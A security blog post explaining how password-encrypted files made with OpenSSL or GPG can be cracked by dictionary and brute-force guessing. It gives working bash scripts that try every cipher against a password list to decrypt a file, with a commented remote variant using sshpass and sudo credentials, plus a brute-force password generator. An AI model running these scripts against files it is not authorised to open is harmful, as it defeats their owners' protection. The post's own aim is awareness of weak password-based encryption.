Symmetric encryption and guessing attacks
Author - Raluca Blidaru

In this posting I will be speaking through examples about a certain type of (in)security around the symmetric encryption: guessing attacks. Let’s start by defining the terms and the issue.

What is “symmetric encryption”? When the same password/passphrase is used for both encryption and decryption, then a method that is known as symmetric encryption, or symmetric-key encryption, is used. Symmetric algorithms, such as AES, 3DES, or BLOWFISH, are implemented to scramble the data and make it encrypted, or vice-versa, to make it readable after being encrypted. Passwords are used to generate the actual key that is further used to encrypt/decrypt the data.

Let’s take a look at two of the tools that a freely available and largely used to perform symmetric encryption:
1. OpenSSL – it is probably the most known one. Encrypting/decrypting a file it is as easy as shown below, running the corresponding instruction from the command line:

```
# Encrypt
$ openssl enc -aes-256-cbc –k PASS -in plain.txt -out encrypted.enc
# Decrypt
$ openssl enc -d -aes-256-cbc –k PASS -in encrypted.enc -out plain.txt
```

2. GNU Privacy Guard – known also as GnuPG, or even shorter, GPG, is another free software commonly used to encrypt data and communication. Same as OpenSSL, encrypting and decrypting files using a user provided password is very intuitive:

```
# Encrypt
$ gpg --symmetric --passphrase PASS --cipher-algo AES256 --output encrypted.enc
plain.txt
# Decrypt
$ gpg --decrypt --passphrase PASS --output plain.txt encrypted.enc
```

It is easy to observe the similarities between these two open source tools:

- Accessible via command line, therefore easy to script them
- Similar inputs (the action performed –encryption or decryption -, the encryption cipher used, the password/passphrase, and the input file) and same output (the resulted file).

Probably you are already asking yourself. And what’s the issue here? The problem is that getting access to an encrypted file using any of the above tools (or any other similar one), you can easily reverse the steps done for encryption and decrypt the file, providing the right input. You may think that this is hard to be true, almost impossible. And you may have your own reasons to think like that. For example, you know that the password used at the encryption time was nor shared with anybody, nor written down on a paper, or saved on an e-file, so it is safe, staying with you only. Also, who would know anything about the encryption cipher you’ve used when encrypted with “openssl”?

Let’s take a closer look. Can we list the all possible ciphers? The answer is yes:

```
#
$ openssl list-cipher-commands
#
$ gpg --version
```

What about the password? We don’t know it, but obviously one could try various passwords, until the correct one is found. You’ll ask: ‘And from where we get these passwords?’ We can start with the most common used ones in

2014, which was recently published by SplashData (http://splashdata.com/press/worst-passwords-of-2014.htm):

Rank	Password
1	123456
2	password
3	12345
4	12345678
5	qwerty
6	123456789
7	1234
8	baseball
9	dragon
10	football
11	1234567
12	monkey
13	letmein
14	abc123
15	111111
16	mustang
17	access
18	shadow
19	master
20	michael

21	superman
22	696969
23	123123
24	batman
25	trustno1

And if the list is not inclusive, we can expand it with more passwords. For example, check the following link and add a few more: http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time.

Let's consider something else. The Password Policy. Every of us is familiar with such policy, from our workplace. It defines the characteristics of the passwords used in the enterprise systems, such as: length (most common it is 8), and composition (e.g. contains minimum three of the following groups of characters: lower alpha characters, upper alpha characters, special characters, and numeric characters). There are other characteristics of the passwords defined in a Password Policy but they are not relevant to the topic here. Let's concentrate on the length and composition. With this information, using the following algorithm, a file can be generated with all possible combinations of a certain length and formed from a specific set of characters.

```
for char1 in "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890~@#%^&*()-
_!"
for char2 in "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890~@#%^&*()-
_!"
...
for charN in "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890~@#%^&*()-
_!"
   print (passwords_file, char1, char2, ..., charN)
endfor
...
endfor
endfor
```

And finally, let's come back to the encrypted file and what it takes to decrypt it. Check the following pseudo-code:

```
found=0
for method_details in "methods_file"

   method = method_details[1];
   ciphers_list = method_details[2];
   decipher_command = method_details[3];

   for cipher in ciphers_list
     for pass in "passwords_file"
    result = decipher_command (cipher, pass, result_file, encrypted_file)
         if result = 0 then
        found=1
        if  method = "openssl"
               then
        print method, cipher, pass
           else
        print cipher, pass
        endif
        print result_file
        exit
     endif

     endfor
   endfor
endfor

if found = 0
  then
     print “The file was not decrypted. Try again.”
endif
```

It reads information on the encryption/decryption methods, takes passwords from a file and it uses them to decrypt the “protected” file. It stops when it founds the right one.

What I was covering through the examples above is the fact that symmetric encryption is susceptible of guessing attacks. They are of two types: dictionary attacks and brute force attacks. When the password file used in such attack is specially crafted and includes passwords which are likely to work, a dictionary attack is performed. The brute force attack is based on trying every possible combination, so it uses the password generation algorithm presented above. The main tradeoff between the two variations of guessing attack is time to complete (dictionary attacks are faster) versus coverage (brute force attacks test every possible combination of characters until the correct one is found). Also, both types of attacks can be conducted offline, or online. The full code includes commands for each of these cases.

In conclusion, encrypting files with a password is not enough secure if it is not supplemented by additional controls, such as access controls, adequate separation of duties and training. It is definitely not adequate for any kind of regulated information, if used alone.

Full code:
A. Script to generate all possible combinations of passwords of a certain length:

```
TMP=/tmp/exec.now
TMP2=/tmp/exec2.now

### provide the path and the name for the encrypted file
#encfile="/home/ftp/incoming/enc_file.enc"
encfile=encrypted_file.enc

### if the file is accessed from  a remotely machine, a sudoer user's credentials are
required, plus the IP of the remote machine
#remote_user=""
#remote_user_pass=""
#remote_IP=""

### provide the path and the name for the decrypted file
resultfile=decrypted_file.txt

### provide the name of the file containing samples of passwords
pass_file=pass.txt
passwords=`cat $pass_file`
```

```
### provide the name of the file containing information on the encrypting methods that
are checked
methods_file=enc_methods_info.txt

### temporarily modify the delimiter used by "cut" method
old_IFS=$IFS
IFS=$'\n'

found="0"
for method_details in `cat $methods_file`
do
   method=$(echo $method_details | cut -f 1 -d "@")

   ciphers_command=$(echo $method_details | cut -f 2 -d "@")

   decipher_command=$(echo $method_details | cut -f 3 -d "@")

   rm $TMP
   echo "$ciphers_command" > $TMP
   chmod 755 $TMP
   ciphers=`$TMP`

   for cipher in $ciphers
   do
     if [ $cipher != 'base64' ]; then
    for pass in $passwords
    do
        rm $resultfile > /dev/null 2>&1
        rm $TMP2 > /dev/null 2>&1

                #echo " --> trying: Method = $method; Cipher = $cipher; Password =
$pass"
                 #To decrypt a file accessed remotely
        # echo "cipher='$cipher'; pass='$pass'; resultfile=$resultfile;
encfile=$encfile; sshpass -p $remote_user_pass ssh $remote_user@$remote_IP echo
$remote_user_pass | $decipher_command " > $TMP2

        #To decrypt a file accessed on the local machine
        if [[ $method = "openssl" ]]; then
                    echo "cipher='$cipher'; pass='$pass'; resultfile=$resultfile;
encfile=$encfile; $decipher_command " > $TMP2
        else
            echo "pass='$pass'; resultfile=$resultfile; encfile=$encfile;
$decipher_command " > $TMP2
        fi

        chmod 755 $TMP2
                `$TMP2`
        result=$?
        #echo "result=$result"

                if [[ $result -eq 0 ]]; then
            found="1"
            if [[ $method = "openssl" ]]; then
                echo "FOUND: Method = $method; Cipher = $cipher; Password = $pass"
            else
                echo "FOUND: Method = $method; Password = $pass"
            fi
            echo "File Content:"
            echo "============"
            cat $resultfile
            echo ""
            exit
        fi
    done
      fi
      if [[ $found -eq "1" ]]; then
        exit
      fi



   done
   if [[ $found -eq "1" ]]; then
    exit
   fi
done

echo "SORRY! No good password was found."
IFS=old_IFS
```

NOTE: the script above is referencing the "enc_methods_info.txt" file with the following content. It contains details for the encryption/decryption methods being used to decrypt the file.

```
openssl@openssl list-cipher-commands@sudo openssl enc -d -$cipher  -k $pass -out
$resultfile -in $encfile > /dev/null 2>&1
gpg@gpg --version  | grep "Cipher" -A 1 | cut -f 2 -d ":" | sed s/","/"\n"/g  | sed s/"
"/""/g | grep -E "[A-Z]"@sudo gpg --decrypt --passphrase $pass --output $resultfile
$encfile > /dev/null 2>&1
```

B. Script to generate all possible combinations of passwords of a certain length; it receives as a parameter the password length:

```
length=$1

echo "" > temp_command_file

echo "pass_file='pass_file.txt';" >> temp_command_file
echo "echo \"\" > $""pass_file" >> temp_command_file

for ((i=1;i<=length;i++))
do
    echo "grep -o . <<<
\"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890~@#%^&*()-_\!\" | while
read v$i" >> temp_command_file
    echo "do " >> temp_command_file
    if [ $i = $length ]; then
                my_command="echo "
        for ((j=1;j<=length;j++))
        do
            my_command=$my_command"$""v$j"
                done
        echo " $my_command >> $""pass_file " >> temp_command_file

    fi
done

for ((i=1;i<=length;i++))
do
    echo "done " >> temp_command_file
done
echo "exit" >> temp_command_file



chmod 755 temp_command_file
./temp_command_file

cat $pass_file
```